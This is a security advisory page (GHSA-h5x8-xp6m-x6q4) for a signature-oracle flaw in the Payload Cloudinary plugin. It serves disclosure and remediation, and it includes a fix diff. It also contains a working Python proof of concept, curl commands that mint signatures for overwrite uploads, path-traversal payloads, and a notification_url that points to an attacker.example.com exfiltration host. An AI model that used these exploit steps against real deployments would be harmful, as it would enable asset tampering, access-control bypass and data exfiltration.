    """Return the expected Cloudinary HMAC-SHA1 signature for params."""
    filtered = {k: v for k, v in params.items() if v not in (None, "")}
    sorted_pairs = sorted(filtered.items())
    param_str = "&".join(f"{k}={v}" for k, v in sorted_pairs)
    to_sign = param_str + api_secret
    return hashlib.sha1(to_sign.encode("utf-8")).hexdigest()


# ---------------------------------------------------------------------------
# HTTP helpers
# ---------------------------------------------------------------------------
def post_sign(server: str, params: dict) -> tuple[int, dict]:
    """
    POST {"paramsToSign": params} to the signing endpoint.
    Returns (http_status, response_dict).
    Raises urllib.error.HTTPError for 4xx/5xx.
    """
    body = json.dumps({"paramsToSign": params}).encode("utf-8")
    req = urllib.request.Request(
        f"{server}/api/cloudinary-generate-signature?collectionSlug=media",
        data=body,
        headers={
            "Content-Type": "application/json",
            "Authorization": AUTH_HEADER,
        },
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=10) as resp:
        return resp.status, json.loads(resp.read())


# ---------------------------------------------------------------------------
# Test runner
# ---------------------------------------------------------------------------
def run_case(server: str, label: str, params: dict) -> bool:
    """
    Execute one signing test case and verify:
      1. HTTP 200 is returned (endpoint did NOT reject the params).
      2. The returned signature is mathematically correct.
    Returns True if both conditions hold (vulnerability confirmed for this case).
    """
    print(f"\n  [{label}]")
    print(f"  paramsToSign : {json.dumps(params)}")

    try:
        status, data = post_sign(server, params)
    except urllib.error.HTTPError as exc:
        body = exc.read().decode(errors="replace")
        print(f"  HTTP {exc.code} — request rejected: {body}")
        print(f"  {RED}UNEXPECTED REJECTION{RESET} — allowlist may be present for this case")
        return False
    except Exception as exc:
        print(f"  Connection error: {exc}")
        return False

    sig_returned = data.get("signature", "")
    sig_expected = cloudinary_sign(params, API_SECRET)
    sig_match = sig_returned == sig_expected

    print(f"  HTTP status  : {status}")
    print(f"  Signature    : {sig_returned}")
    print(f"  Expected sig : {sig_expected}")
    print(f"  Sig valid    : {'YES — mathematically correct HMAC-SHA1' if sig_match else 'NO — mismatch'}")

    if status == 200 and sig_match:
        print(f"  {GREEN}CONFIRMED{RESET} — endpoint signed arbitrary params without rejection")
        return True
    else:
        print(f"  {RED}UNEXPECTED{RESET} — status={status}, sig_match={sig_match}")
        return False


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
    parser = argparse.ArgumentParser(description="VULN-002 PoC")
    parser.add_argument("--server", default="http://127.0.0.1:3000", help="Target server URL")
    args = parser.parse_args()
    server = args.server.rstrip("/")

    ts = str(int(time.time()))

    print("=" * 70)
    print("VULN-002 PoC — Arbitrary Cloudinary API Parameter Signing")
    print(f"Target  : {server}")
    print(f"Vuln    : getGenerateSignature.ts:55 — no paramsToSign allowlist")
    print(f"Auth    : {AUTH_HEADER!r}  (low-privilege user simulation)")
    print("=" * 70)

    # ------------------------------------------------------------------
    # Attack scenarios
    # ------------------------------------------------------------------
    # Each case passes paramsToSign that the plugin should REJECT but does NOT.
    # A correctly patched implementation would return 4xx for cases 2-5.
    # ------------------------------------------------------------------
    cases = [
        (
            "CASE-1: Legitimate params (baseline — should always succeed)",
            {"timestamp": ts, "folder": "media", "public_id": "user-upload"},
        ),
        (
            "CASE-2: Attacker-controlled folder + overwrite=true",
            {
                "timestamp": ts,
                "folder": "attacker-controlled",
                "public_id": "overwrite-target",
                "overwrite": "true",
            },
        ),
        (
            "CASE-3: type=private — changes upload visibility",
            {
                "timestamp": ts,
                "type": "private",
                "public_id": "admin-document",
            },
        ),
        (
            "CASE-4: notification_url — potential SSRF / data exfiltration",
            {
                "timestamp": ts,
                "folder": "media",
                "notification_url": "http://attacker.example.com/exfil",
            },
        ),
        (
            "CASE-5: folder path traversal + invalidate=true",
            {
                "timestamp": ts,
                "folder": "../../../../admin-assets",
                "public_id": "../../../sensitive",
                "invalidate": "true",
            },
        ),
    ]

    results = []
    for label, params in cases:
        results.append(run_case(server, label, params))

    passed = sum(results)
    total = len(results)

    print("\n" + "=" * 70)
    print(f"Results : {passed}/{total} cases confirmed")

    # Cases 1-5 all passing means the vulnerability is proven:
    # the endpoint signs ANY paramsToSign regardless of content.
    if all(results):
        print(f"\n{GREEN}VERDICT: PASS — VULN-002 CONFIRMED{RESET}")
        print(
            "All 5 attack scenarios returned HTTP 200 with a mathematically valid"
            " Cloudinary HMAC-SHA1 signature."
        )
        print(
            "The plugin endpoint signs arbitrary upload parameters without any"
            " allowlist, folder enforcement, or overwrite/type restriction."
        )
        print(
            "Impact: any authenticated Payload user can mint valid Cloudinary"
            " signatures for arbitrary parameters, enabling asset replacement,"
            " privacy changes, and potential SSRF via notification_url."
        )
        sys.exit(0)
    elif results[0]:
        failed = [cases[i][0] for i, r in enumerate(results) if not r]
        print(f"\n{YELLOW}VERDICT: PARTIAL — baseline succeeded but some cases failed{RESET}")
        print(f"Failed cases: {failed}")
        sys.exit(2)
    else:
        print(f"\n{RED}VERDICT: FAIL — server not reachable or baseline request failed{RESET}")
        sys.exit(1)


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@jhb.software/payload-cloudinary-plugin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T22:10:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin\n\n### Summary\n\n`@jhb.software/payload-cloudinary-plugin` v0.3.4 exposes a server-side signing endpoint (`POST /api/cloudinary-generate-signature`) that passes attacker-supplied `paramsToSign` directly to `cloudinary.utils.api_sign_request()` without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters \u2014 including `overwrite=true`, `type=private`, `notification_url`, and path-traversal folder values \u2014 enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.\n\n### Details\n\nWhen `clientUploads: true` is configured, the plugin registers a signing handler at `cloudinary/src/index.ts:74-79`. The handler is implemented in `cloudinary/src/getGenerateSignature.ts`.\n\n**Vulnerable code path (step by step):**\n\n1. `cloudinary/src/index.ts:58` \u2014 `initClientUploads` registers the server upload handler.\n2. `cloudinary/src/index.ts:68` \u2014 The Cloudinary API key is exposed to client handler props by design.\n3. `cloudinary/src/index.ts:74-79` \u2014 The signing endpoint is mounted at `/cloudinary-generate-signature`.\n4. `cloudinary/src/getGenerateSignature.ts:18` \u2014 The default access control checks only `!!req.user`, permitting any authenticated user.\n5. `cloudinary/src/getGenerateSignature.ts:46` \u2014 The entire request body is parsed: `const body = await req.json?.()`.\n6. `cloudinary/src/getGenerateSignature.ts:55` \u2014 **Vulnerable sink**: attacker-controlled `body.paramsToSign` is forwarded verbatim to the signing function.\n\n```ts\n// cloudinary/src/getGenerateSignature.ts:46-55\nconst body = await req.json?.()\n\nif (!body?.paramsToSign) {\n  return new Response(JSON.stringify({ error: \u0027No paramsToSign provided\u0027 }), ...)\n}\n\n// No allowlist, no key filtering, no folder/public_id/overwrite enforcement\nconst signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n```\n\nThere are **no** mitigations in place:\n- No parameter key allowlist (attacker can include `overwrite`, `type`, `notification_url`, `invalidate`, etc.)\n- No folder/public_id policy enforcement (the plugin\u0027s `folder` option from `index.ts` is never passed to `getGenerateSignature`)\n- No timestamp freshness check\n- No restriction on path traversal sequences in `folder` or `public_id`\n\nDynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:\n\n| Case | paramsToSign | Impact |\n|------|-------------|--------|\n| CASE-2 | `folder=attacker-controlled, overwrite=true` | Overwrite any existing asset |\n| CASE-3 | `type=private, public_id=admin-document` | Change asset visibility / bypass access control |\n| CASE-4 | `notification_url=http://attacker.example.com/exfil` | SSRF / data exfiltration via Cloudinary webhook |\n| CASE-5 | `folder=../../../../admin-assets, invalidate=true` | Path traversal + CDN cache invalidation |\n\nPython-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.\n\n### PoC\n\n**Prerequisites:**\n- `@jhb.software/payload-cloudinary-plugin@0.3.4` deployed with `clientUploads: true`\n- An authenticated Payload session (any privilege level)\n- Knowledge of `CLOUDINARY_CLOUD_NAME` and the client-exposed API key (exposed by design at `index.ts:68`)\n\n**Step 1 \u2014 Obtain a signature for arbitrary parameters (bash):**\n\n```bash\nTS=$(date +%s)\n\nSIG=$(curl -s \\\n  -H \"Authorization: Bearer \u003cLOW_PRIV_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -X POST \"http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media\" \\\n  --data \"{\\\"paramsToSign\\\":{\\\"timestamp\\\":\\\"$TS\\\",\\\"folder\\\":\\\"attacker\\\",\\\"public_id\\\":\\\"overwrite-target\\\",\\\"overwrite\\\":\\\"true\\\"}}\" \\\n  | jq -r .signature)\n\necho \"Obtained signature: $SIG\"\n```\n\n**Step 2 \u2014 Use the minted signature to upload directly to Cloudinary:**\n\n```bash\ncurl -s -X POST \"https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload\" \\\n  -F \"file=@poc.txt\" \\\n  -F \"api_key=$CLOUDINARY_API_KEY\" \\\n  -F \"timestamp=$TS\" \\\n  -F \"folder=attacker\" \\\n  -F \"public_id=overwrite-target\" \\\n  -F \"overwrite=true\" \\\n  -F \"signature=$SIG\"\n```\n\n**Expected result:** Cloudinary returns a successful upload JSON for `attacker/overwrite-target` \u2014 an asset path the plugin never intended to authorize.\n\n**Automated PoC (Python):**\n\n```bash\n# Build and run the reproduction container\ndocker build -t vuln-002-cloudinary .\ndocker run -d --name vuln-002 -p 3000:3000 vuln-002-cloudinary\n\n# Run all five attack scenarios\npython3 poc.py --server http://127.0.0.1:3000\n```\n\nThe script (`poc.py`) posts five distinct `paramsToSign` payloads and independently verifies each returned signature using `hashlib.sha1`. All five cases return HTTP 200 with a mathematically valid signature, confirming the vulnerability.\n\n**Sample output (Phase 2 evidence):**\n\n```\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"attacker-controlled\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}\n      =\u003e abc45ef5f0807bdef153074d2be3e713ea867168  (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"type\":\"private\",\"public_id\":\"admin-document\"}\n      =\u003e 0d8102a5ff48953832b76a1f21d1c513af5940e1  (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"media\",\"notification_url\":\"http://attacker.example.com/exfil\"}\n      =\u003e 72d954c67bd4a38d6a3931c64511f84143d24685  (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"../../../../admin-assets\",\"public_id\":\"../../../sensitive\",\"invalidate\":\"true\"}\n      =\u003e d44984e7af8fca306e59e00810c2623d8963e011  (HTTP 200)\n\nResults: 5/5 cases confirmed \u2014 HTTP 200 + mathematically valid HMAC-SHA1 on every attacker-controlled paramsToSign\n```\n\n**Recommended fix:**\n\n```diff\n--- a/cloudinary/src/getGenerateSignature.ts\n+++ b/cloudinary/src/getGenerateSignature.ts\n@@ type Args = {\n   apiSecret: string\n+  folder?: string\n }\n@@ export const getGenerateSignature =\n-  ({ access = defaultAccess, apiSecret }: Args): PayloadHandler =\u003e\n+  ({ access = defaultAccess, apiSecret, folder }: Args): PayloadHandler =\u003e\n@@\n-    const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n+    const paramsToSign = body.paramsToSign as Record\u003cstring, unknown\u003e\n+    const allowedKeys = new Set([\u0027timestamp\u0027, \u0027folder\u0027, \u0027public_id\u0027])\n+    if (\n+      !paramsToSign ||\n+      Object.keys(paramsToSign).some((key) =\u003e !allowedKeys.has(key)) ||\n+      typeof paramsToSign.timestamp !== \u0027string\u0027\n+    ) {\n+      throw new Forbidden()\n+    }\n+    if (folder \u0026\u0026 paramsToSign.folder !== folder.replace(/^\\/|\\/$/g, \u0027\u0027)) {\n+      throw new Forbidden()\n+    }\n+    if (\n+      typeof paramsToSign.public_id === \u0027string\u0027 \u0026\u0026\n+      (paramsToSign.public_id.includes(\u0027..\u0027) || paramsToSign.public_id.startsWith(\u0027/\u0027))\n+    ) {\n+      throw new Forbidden()\n+    }\n+    const signature = cloudinary.utils.api_sign_request(paramsToSign, apiSecret)\n```\n\n### Impact\n\nThis is an **Improper Verification of Cryptographic Signature** vulnerability (CWE-347). The signing endpoint is intended to authorize legitimate client-side uploads, but because `paramsToSign` is never validated, it acts as an unrestricted signature oracle for any authenticated user.\n\n**Who is impacted:** All deployments of `@jhb.software/payload-cloudinary-plugin` that set `clientUploads: true`. This is a non-default but officially recommended production configuration for Vercel deployments (documented in the plugin README).\n\n**Concrete attack outcomes:**\n\n- **Asset overwrite** (`overwrite=true`): attacker replaces any existing media asset in the Cloudinary account, enabling content tampering or defacement.\n- **Access-control bypass** (`type=private`): attacker changes the delivery type of uploaded assets, potentially exposing or hiding content beyond what the application intends.\n- **SSRF / data exfiltration** (`notification_url`): Cloudinary issues an HTTP callback to the attacker-controlled URL upon upload completion, leaking upload metadata and enabling server-side request forgery.\n- **Path traversal** (`folder=../../../../...`, `invalidate=true`): attacker writes to or invalidates assets in arbitrary Cloudinary folders, including administrative paths outside the configured upload directory.\n\nThe Cloudinary API key is exposed to the client by the plugin itself (`index.ts:68`), so an attacker already holds three of the four required upload components (cloud name, API key, timestamp). The signing endpoint provides the missing fourth (signature), completing the attack chain with a single authenticated request.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:22-alpine\n\nLABEL description=\"VULN-002 reproduction: arbitrary Cloudinary API parameter signing\" \\\n      vuln=\"getGenerateSignature.ts:55 - body.paramsToSign signed without allowlist\" \\\n      package=\"@jhb.software/payload-cloudinary-plugin@0.3.4\"\n\nWORKDIR /app\n\n# Install exactly the cloudinary version declared in the plugin\u0027s package.json\nRUN echo \u0027{\"name\":\"vuln-002-server\",\"version\":\"1.0.0\",\"private\":true}\u0027 \u003e package.json \u0026\u0026 \\\n    npm install cloudinary@2.10.0 --save --no-audit --no-fund\n\nCOPY server.js .\n\nEXPOSE 3000\n\n# Start the minimal reproduction server\nCMD [\"node\", \"server.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Arbitrary Cloudinary API Parameter Signing\nPackage : @jhb.software/payload-cloudinary-plugin v0.3.4\nFile    : cloudinary/src/getGenerateSignature.ts:55\nCWE     : CWE-347 \u2014 Improper Verification of Cryptographic Signature\nCVSS    : 7.1 (High) AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L\n\nVulnerable sink (exact line from source):\n    const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n\nbody.paramsToSign is passed directly with no allowlist, no key filtering, and no\nfolder/public_id/overwrite enforcement. Any authenticated user can obtain a valid\nCloudinary HMAC-SHA1 signature for arbitrary upload parameters.\n\nUsage:\n    python3 poc.py [--server http://127.0.0.1:3000]\n\"\"\"\n\nimport argparse\nimport hashlib\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# Must match API_SECRET in server.js\nAPI_SECRET = \"poc-fake-api-secret-12345\"\n\n# Simulates a low-privilege authenticated user session\nAUTH_HEADER = \"Bearer low-privilege-user-token\"\n\nGREEN = \"\\033[32m\"\nRED = \"\\033[31m\"\nYELLOW = \"\\033[33m\"\nRESET = \"\\033[0m\"\n\n\n# ---------------------------------------------------------------------------\n# Cloudinary signature algorithm \u2014 Python re-implementation of\n#   cloudinary.utils.api_sign_request(params, api_secret)\n# Algorithm: SHA-1( sorted_k=v_pairs + api_secret )\n# ---------------------------------------------------------------------------\ndef cloudinary_sign(params: dict, api_secret: str) -\u003e str:\n    \"\"\"Return the expected Cloudinary HMAC-SHA1 signature for params.\"\"\"\n    filtered = {k: v for k, v in params.items() if v not in (None, \"\")}\n    sorted_pairs = sorted(filtered.items())\n    param_str = \"\u0026\".join(f\"{k}={v}\" for k, v in sorted_pairs)\n    to_sign = param_str + api_secret\n    return hashlib.sha1(to_sign.encode(\"utf-8\")).hexdigest()\n\n\n# ---------------------------------------------------------------------------\n# HTTP helpers\n# ---------------------------------------------------------------------------\ndef post_sign(server: str, params: dict) -\u003e tuple[int, dict]:\n    \"\"\"\n    POST {\"paramsToSign\": params} to the signing endpoint.\n    Returns (http_status, response_dict).\n    Raises urllib.error.HTTPError for 4xx/5xx.\n    \"\"\"\n    body = json.dumps({\"paramsToSign\": params}).encode(\"utf-8\")\n    req = urllib.request.Request(\n        f\"{server}/api/cloudinary-generate-signature?collectionSlug=media\",\n        data=body,\n        headers={\n            \"Content-Type\": \"application/json\",\n            \"Authorization\": AUTH_HEADER,\n        },\n        method=\"POST\",\n    )\n    with urllib.request.urlopen(req, timeout=10) as resp:\n        return resp.status, json.loads(resp.read())\n\n\n# ---------------------------------------------------------------------------\n# Test runner\n# ---------------------------------------------------------------------------\ndef run_case(server: str, label: str, params: dict) -\u003e bool:\n    \"\"\"\n    Execute one signing test case and verify:\n      1. HTTP 200 is returned (endpoint did NOT reject the params).\n      2. The returned signature is mathematically correct.\n    Returns True if both conditions hold (vulnerability confirmed for this case).\n    \"\"\"\n    print(f\"\\n  [{label}]\")\n    print(f\"  paramsToSign : {json.dumps(params)}\")\n\n    try:\n        status, data = post_sign(server, params)\n    except urllib.error.HTTPError as exc:\n        body = exc.read().decode(errors=\"replace\")\n        print(f\"  HTTP {exc.code} \u2014 request rejected: {body}\")\n        print(f\"  {RED}UNEXPECTED REJECTION{RESET} \u2014 allowlist may be present for this case\")\n        return False\n    except Exception as exc:\n        print(f\"  Connection error: {exc}\")\n        return False\n\n    sig_returned = data.get(\"signature\", \"\")\n    sig_expected = cloudinary_sign(params, API_SECRET)\n    sig_match = sig_returned == sig_expected\n\n    print(f\"  HTTP status  : {status}\")\n    print(f\"  Signature    : {sig_returned}\")\n    print(f\"  Expected sig : {sig_expected}\")\n    print(f\"  Sig valid    : {\u0027YES \u2014 mathematically correct HMAC-SHA1\u0027 if sig_match else \u0027NO \u2014 mismatch\u0027}\")\n\n    if status == 200 and sig_match:\n        print(f\"  {GREEN}CONFIRMED{RESET} \u2014 endpoint signed arbitrary params without rejection\")\n        return True\n    else:\n        print(f\"  {RED}UNEXPECTED{RESET} \u2014 status={status}, sig_match={sig_match}\")\n        return False\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main():\n    parser = argparse.ArgumentParser(description=\"VULN-002 PoC\")\n    parser.add_argument(\"--server\", default=\"http://127.0.0.1:3000\", help=\"Target server URL\")\n    args = parser.parse_args()\n    server = args.server.rstrip(\"/\")\n\n    ts = str(int(time.time()))\n\n    print(\"=\" * 70)\n    print(\"VULN-002 PoC \u2014 Arbitrary Cloudinary API Parameter Signing\")\n    print(f\"Target  : {server}\")\n    print(f\"Vuln    : getGenerateSignature.ts:55 \u2014 no paramsToSign allowlist\")\n    print(f\"Auth    : {AUTH_HEADER!r}  (low-privilege user simulation)\")\n    print(\"=\" * 70)\n\n    # ------------------------------------------------------------------\n    # Attack scenarios\n    # ------------------------------------------------------------------\n    # Each case passes paramsToSign that the plugin should REJECT but does NOT.\n    # A correctly patched implementation would return 4xx for cases 2-5.\n    # ------------------------------------------------------------------\n    cases = [\n        (\n            \"CASE-1: Legitimate params (baseline \u2014 should always succeed)\",\n            {\"timestamp\": ts, \"folder\": \"media\", \"public_id\": \"user-upload\"},\n        ),\n        (\n            \"CASE-2: Attacker-controlled folder + overwrite=true\",\n            {\n                \"timestamp\": ts,\n                \"folder\": \"attacker-controlled\",\n                \"public_id\": \"overwrite-target\",\n                \"overwrite\": \"true\",\n            },\n        ),\n        (\n            \"CASE-3: type=private \u2014 changes upload visibility\",\n            {\n                \"timestamp\": ts,\n                \"type\": \"private\",\n                \"public_id\": \"admin-document\",\n            },\n        ),\n        (\n            \"CASE-4: notification_url \u2014 potential SSRF / data exfiltration\",\n            {\n                \"timestamp\": ts,\n                \"folder\": \"media\",\n                \"notification_url\": \"http://attacker.example.com/exfil\",\n            },\n        ),\n        (\n            \"CASE-5: folder path traversal + invalidate=true\",\n            {\n                \"timestamp\": ts,\n                \"folder\": \"../../../../admin-assets\",\n                \"public_id\": \"../../../sensitive\",\n                \"invalidate\": \"true\",\n            },\n        ),\n    ]\n\n    results = []\n    for label, params in cases:\n        results.append(run_case(server, label, params))\n\n    passed = sum(results)\n    total = len(results)\n\n    print(\"\\n\" + \"=\" * 70)\n    print(f\"Results : {passed}/{total} cases confirmed\")\n\n    # Cases 1-5 all passing means the vulnerability is proven:\n    # the endpoint signs ANY paramsToSign regardless of content.\n    if all(results):\n        print(f\"\\n{GREEN}VERDICT: PASS \u2014 VULN-002 CONFIRMED{RESET}\")\n        print(\n            \"All 5 attack scenarios returned HTTP 200 with a mathematically valid\"\n            \" Cloudinary HMAC-SHA1 signature.\"\n        )\n        print(\n            \"The plugin endpoint signs arbitrary upload parameters without any\"\n            \" allowlist, folder enforcement, or overwrite/type restriction.\"\n        )\n        print(\n            \"Impact: any authenticated Payload user can mint valid Cloudinary\"\n            \" signatures for arbitrary parameters, enabling asset replacement,\"\n            \" privacy changes, and potential SSRF via notification_url.\"\n        )\n        sys.exit(0)\n    elif results[0]:\n        failed = [cases[i][0] for i, r in enumerate(results) if not r]\n        print(f\"\\n{YELLOW}VERDICT: PARTIAL \u2014 baseline succeeded but some cases failed{RESET}\")\n        print(f\"Failed cases: {failed}\")\n        sys.exit(2)\n    else:\n        print(f\"\\n{RED}VERDICT: FAIL \u2014 server not reachable or baseline request failed{RESET}\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-h5x8-xp6m-x6q4",
  "modified": "2026-06-19T22:10:37Z",
  "published": "2026-06-19T22:10:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jhb-software/payload-plugins/security/advisories/GHSA-h5x8-xp6m-x6q4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jhb-software/payload-plugins"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing"
}

No mitigation information available for this CWE.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.